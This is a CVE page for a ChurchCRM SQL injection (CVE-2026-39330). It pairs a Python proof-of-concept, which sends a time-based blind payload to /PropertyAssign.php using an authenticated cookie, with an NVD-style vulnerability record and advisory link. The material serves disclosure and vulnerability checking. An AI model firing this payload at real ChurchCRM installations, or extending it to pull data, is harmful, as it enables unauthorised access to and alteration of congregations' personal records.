CVE-2026-39330

import requests # POC for ChurchCRM SQL Injection (CVE-2026-39330) # Target: /PropertyAssign.php # Parameter: Value # Requires valid session cookie with ManageGroups and isEditRecordsEnabled privileges target_url = "http://target-churchcrm/PropertyAssign.php" session_cookie = "Valid_Session_Cookie_Here" # Replace with a valid authenticated session # Malicious payload to test SQL Injection (Time-based blind) # This payload attempts to cause a delay of 5 seconds if the injection is successful sqli_payload = "1' AND SLEEP(5)-- -" # Data payload mimicking the vulnerable request payload_data = { "Value": sqli_payload, "PropertyID": "1", "GroupID": "1" } headers = { "Cookie": f"CRM={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(target_url, data=payload_data, headers=headers) # Check if the response time indicates successful execution if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection exists.") else: print("[-] Vulnerability not detected or privileges insufficient.") except Exception as e: print(f"[!] Error during request: {e}")

{"cve": {"id": "CVE-2026-39330", "sourceIdentifier": "[email protected]", "published": "2026-04-07T18:16:44.327", "lastModified": "2026-04-10T20:55:50.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChurchCRM is an open-source church management system. Prior to 7.1.0, an SQL injection vulnerability was found in the endpoint /PropertyAssign.php in ChurchCRM. Authenticated users with the role Manage Groups & Roles (ManageGroups) and Edit Records (isEditRecordsEnabled) can inject arbitrary SQL statements through the Value parameter and thus extract and modify information from the database. This vulnerability is fixed in 7.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.1.0", "matchCriteriaId": "BF846F61-0C1E-49AB-B691-A01937A6C24D"}]}]}], "references": [{"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-xq86-jh52-728g", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-xq86-jh52-728g", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory"]}]}}